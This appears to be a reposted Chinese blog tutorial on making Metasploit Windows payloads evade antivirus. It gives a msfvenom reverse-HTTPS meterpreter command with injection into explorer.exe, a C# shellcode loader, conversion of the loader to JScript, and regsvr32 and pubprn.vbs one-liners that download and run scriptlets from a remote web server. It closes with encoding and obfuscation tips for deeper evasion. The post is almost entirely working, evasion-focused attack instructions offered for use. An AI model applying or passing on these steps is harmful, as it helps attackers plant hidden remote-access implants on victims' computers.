MSF 免杀Windows平台 Payload

一、准备payload

msfvenom  -p windows/meterpreter/reverse_https -a x86 -f csharp --platform windows -o https.csharp -b "\x00\xff" LHOST=192.168.1.111 LPORT=886 PrependMigrate=true PrependMigrateProc=explorer.exe

 

我们要借助于 C# 来执行生成的 Payload,所以格式要选择为 csharp

而最后两个参数(PrependMigrate 和 PrependMigrateProc)是进程注入。

二、准备C#工程

新建一个空白的 C# 的 Console 工程,.Net Framework 版本选择 2.0(保证兼容性)

代码如下:

using System;
using System.Threading;
using System.Runtime.InteropServices;
namespace MSFWrapper
{
    public class Program
    {
        public Program()
        {
           RunMSF();
        }
        public static void RunMSF()
        {
            byte[] MsfPayload = {
            //在这粘贴payload代码
        };
            IntPtr returnAddr = VirtualAlloc((IntPtr)0,(uint)Math.Max(MsfPayload.Length, 0x1000), 0x3000, 0x40);
            Marshal.Copy(MsfPayload, 0, returnAddr, MsfPayload.Length);
            CreateThread((IntPtr)0, 0, returnAddr, (IntPtr)0, 0, (IntPtr)0);
            Thread.Sleep(2000);
        }
        public static void Main()
        {
        }
        [DllImport("kernel32.dll")]
        public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
        [DllImport("kernel32.dll")]
        public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
    }
}
​

保存代码后,修改该工程的属性,将输出类型改为“Windows 应用程序”,启动对象改为“MSFWrapper.Program”, 然后保存。

增加 Release 版的 x86 编译对象,然后生成出 MSFWrapper.exe。

三、转换MSFWrapper.exe为js文件

要用到一款可以将 .net 程序转换为 jscript 代码的程序;

https://github.com/tyranid/DotNetToJScript

进行转换

DotNetToJScript.exe -l=JScript -o=MSFWrapper.js -c=MSFWrapper.Program MSFWrapper.exe

然后用下面的命令执行MSF Payload:

C:\windows\SysWOW64\cscript.exe /e:JScript MSFWrapper.js

四、进一步猥琐化 sct大法

既然能够转换为 js 代码,那么我们自然会想到 sct 大法的应用。

我们将转换后的 js 代码黏贴到下面的代码中

<?XML version="1.0"?>
<scriptlet>
<registration
    progid="Msf"
    classid="{F0001111-0000-0000-0000-0000FEEDACDC}" >
    <script language="JScript">
    //在这粘贴代码
    </script>
</registration>
</scriptlet>

保存为 msf.sct(后缀名可以更改,比如 jpg 等)并上传至 Web Server 。

然后在目标机器上执行如下命令:

c:\windows\SysWOW64\regsvr32 /s /u /n /i:http://www.51xkx.cn/msf.sct c:\windows\SysWOW64\scrobj.dll

其中Web服务器的地址如果在内网可以换成内网IP。

如果目标是Win7以上版本,可以这样:

使用 script 或者 scriptlet 的方式来深度利用

这里我们要使用 DotNetToJSCript.exe 的 -m 参数来生成 scriptlet 文件,命令如下:

DotNetToJScript.exe -m -o=msf2.sct -c=MSFWrapper.Program MSFWrapper.exe

目标运行

c:\windows\SysWOW64\cscript.exe c:\Windows\System32\Printing_Admin_Scripts\zh-CN\pubprn.vbs 127.0.0.1 script:https://www.51xkx.cn/msf2.sct 

五、关于深度免杀

一般情况下按照上述方法,基本就可以免杀了。

如果还有特殊要求的话,可以考虑做如下的额外工作:

1.对 MSF 生成的 Payload 用 MSF 自带的编码器进行编码,或自己定义编码方式

2.base64 编码后,放入 C# 代码中

3.生成的 js 代码可以进行模糊编码处理

转自:https://mp.weixin.qq.com/s/OxgJIIPaXMXqrY5lPdukdA

猜你喜欢

转载自blog.csdn.net/qq_35553433/article/details/86610007
今日推荐